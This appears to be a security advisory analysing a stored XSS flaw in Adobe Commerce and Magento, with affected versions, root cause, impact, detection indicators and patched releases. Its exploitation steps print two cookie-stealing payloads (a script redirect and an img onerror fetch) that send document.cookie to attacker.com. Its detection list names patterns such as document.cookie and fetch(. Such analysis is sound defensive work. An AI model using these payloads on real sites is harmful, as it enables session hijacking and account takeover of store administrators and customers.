CVE-2026-48371: 
Adobe Commerce vulnerability analysis and mitigation

CVE-2026-48371 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Commerce, Adobe Commerce B2B, Magento Open Source, and the Adobe Commerce Webhooks Plugin. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields, which then executes in the browser of any user who visits the affected page. Affected versions include Adobe Commerce up to 2.4.9/2.4.8-p5/2.4.7-p10/2.4.6-p15/2.4.5-p17/2.4.4-p18, Adobe Commerce B2B up to 1.5.3/1.5.2-p5/1.4.2-p10/1.3.4-p17/1.3.3-p18, Magento Open Source up to 2.4.9/2.4.8-p5/2.4.7-p10/2.4.6-p15, and the Adobe Commerce Webhooks Plugin (i/o_events) versions 1.6.0 through 1.20.0. The vulnerability was published on July 14, 2026, with patches made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. The root cause is insufficient sanitization or output encoding of user-supplied input in one or more form fields within the Adobe Commerce/Magento admin or storefront interface, allowing injected script content to be persisted in the application's data store and later rendered in victims' browsers. Exploitation requires the attacker to have low-level authenticated access to submit data to the vulnerable form field; a separate victim user must then browse to the page containing the stored payload for the script to execute. The scope change indicator in the CVSS vector reflects that the injected script executes in the security context of the victim's browser session, crossing the boundary of the attacker's own session (GitHub Advisory, Adobe Advisory).

Successful exploitation allows a low-privileged attacker to execute arbitrary JavaScript in the browsers of other users — including administrators — who view the page containing the malicious payload. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (e.g., account takeover, order manipulation), and UI defacement. While availability is not directly impacted, the confidentiality and integrity of affected user sessions and data are at risk, and compromise of an administrator session could lead to broader platform compromise (GitHub Advisory).

1. Gain low-privileged access: Obtain or register a low-privileged account on the target Adobe Commerce or Magento Open Source instance (e.g., a merchant sub-user, customer account, or other role with form submission access).
2. Identify vulnerable form field: Navigate to the form field(s) within the application that are susceptible to stored XSS — these may be in product descriptions, customer profile fields, order comments, or similar input areas that are rendered to other users.
3. Inject malicious payload: Submit a crafted XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Wait for victim interaction: The payload is stored server-side. When an administrator or other user browses to the page containing the injected field, the malicious JavaScript executes in their browser context.
5. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data at their controlled endpoint, potentially enabling session hijacking or further unauthorized actions within the platform (GitHub Advisory).

• Logs: Web server or application access logs showing unusual or encoded content (e.g., <script>, onerror=, javascript:, fetch(, document.cookie) submitted via POST requests to form endpoints in Adobe Commerce/Magento.
• Database: Stored records in the Adobe Commerce database (e.g., product, customer, or order tables) containing HTML script tags or JavaScript event handlers in text fields that should not contain such content.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unexpected external domains shortly after browsing Commerce admin or storefront pages — particularly requests carrying cookie or session data as query parameters.
• Browser/Client: Unexpected redirects or pop-ups experienced by admin or storefront users when viewing specific pages; browser developer tools showing script execution originating from stored page content.

Adobe has released patched versions addressing this vulnerability. Administrators should update to the July 2026 security releases: Adobe Commerce 2.4.9-2026-jul, 2.4.8-2026-jul, 2.4.7-2026-jul, 2.4.6-2026-jul, 2.4.5-2026-jul, or 2.4.4-2026-jul; Adobe Commerce B2B 1.5.3-2026-jul, 1.5.2-2026-jul, 1.4.2-2026-jul, 1.3.4-2026-jul, or 1.3.3-2026-jul; Magento Open Source 2.4.9-2026-jul, 2.4.8-2026-jul, 2.4.7-2026-jul, or 2.4.6-2026-jul; and Adobe Commerce Webhooks Plugin (i/o_events) version 1.21.0. As interim mitigations, deploying a Web Application Firewall (WAF) with XSS detection rules and enforcing strict Content Security Policy (CSP) headers can reduce exploitation risk. Applying input validation and output encoding on all user-supplied form fields is also recommended (Adobe Advisory, GitHub Advisory).